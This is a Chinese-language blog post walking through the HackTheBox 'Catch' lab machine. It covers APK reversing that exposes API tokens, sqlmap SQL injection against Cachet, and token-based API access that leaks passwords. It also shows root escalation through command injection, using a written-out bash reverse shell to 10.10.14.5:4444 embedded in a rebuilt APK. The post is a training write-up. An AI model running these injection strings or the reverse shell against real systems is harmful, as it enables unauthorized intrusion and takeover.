freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HackTheBox之Catch靶机
2022-04-30 12:21:26
所属地 广东省

前言

这是一台中等难度的靶机,靶机主要考察的是对安卓程序的逆向分析、SQL注入等知识。

解题思路

image

信息收集

目标主机开放了ssh、web、ppp、udnp等服务

image.png

访问web页面时,发现存在一个APK软件,可以下载下来进行逆向分析。使用的工具是dex2jarjd-gui,发现了一个新的域名

image.png

这边使用MobSF框架对这个APK软件进行分析,发现存在一个lets_chat_token值,这个值非常有用

"gitea_token" : "b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0"
"lets_chat_token" : "NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ=="
"slack_token" : "xoxp-23984754863-2348975623103"

image

回到信息收集时的8000端口,发现是一个Cachet的CMS框架

image

在搜索引擎上搜索发现,存在Nday的sql注入漏洞

image

漏洞利用

因为常规的post表单注入SQLMAP无法检测到注入点,因此需要使用盲注注入技巧,这个CMS框架的审计可以参考这篇文章Cachet_CMS代码审计

sqlmap -u "http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"

image.png

cachet数据库进行注入

sqlmap -u "http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" --dbs

image.png

对users表进行注入

sqlmap -u "http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" -D cachet --tables

image.png

对users表进行字段值注入

sqlmap -u "http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" -D cachet -T users --columns

image.png

继续注入发现了对应用户的账户名和哈希值,但是是使用了Blowfish加密的,不能解密成功

image

没有思路了,尝试fuzz一下路径,发现了两个重定向路径

ffuf -c -u "http://status.catch.htb:5000/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

image.png

使用上面获得了一个token值,可以分别对这些401目录进行网络包请求,Authorization: bearer字段是JWT的schema头定义

curl -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -i   http://10.10.11.150:5000/rooms

可以看到,获取到了很多对应的JSON值信息

image.png

带着请求头信息,去继续模糊web路径

ffuf -c -u "http://status.catch.htb:5000/rooms/61b86b28d984e2451036eb17/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ=="

image.png

curl -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -i   http://status.catch.htb:5000/rooms/61b86b28d984e2451036eb17/messages

得到了john的用户名和密码john:E}V!mywu_69T4C}W

image.png

上传事件时要捕获一个数据包,上传路径和上传参数对应之后发送,可以获取到一个shell终端

image.png

初步判断目前在docker容器内,想要进一步提权可能需要进行逃逸操作

image.png

提权

www-data提权will

查看.env文件发现存在了数据库名和密码s2#4Fg0_%3!

image.png

成功登录will用户

image.png

will提权到root

导入linpeas.sh脚本时,发现了一个存在漏洞的脚本verify.sh,这个脚本中存在一个命令注入点。可以通过控制APP_NAME的值进行命令注入

image.png

可以先使用apktool工具对apk文件进行源码还原,然后找到/res/values/strings.xml文件,并将生成的payload进行替换

echo '/bin/bash \-i \>& /dev/tcp/10\.10\.14\.5/4444 0\>&1' \| base64

image

然后使用新的apktool文件生成一个新的apk文件,因为要成功利用必须使用新的安卓文件进行命令执行

sudo java -jar apktool\_2.6.1.jar b -f -d catchv1.0 -o catchv2.0.apk

image

并对这个新的apk文件生成一个新的签名

keytool -genkey -v -keystore my-release-key.keystore -alias alias\_name -keyalg RSA -keysize 2048 -validity 10000

image

最后将新的apk文件下载并上传到apk_bin目录上,开启监听获取root用户的权限

image

image

# 渗透测试 # 安卓渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者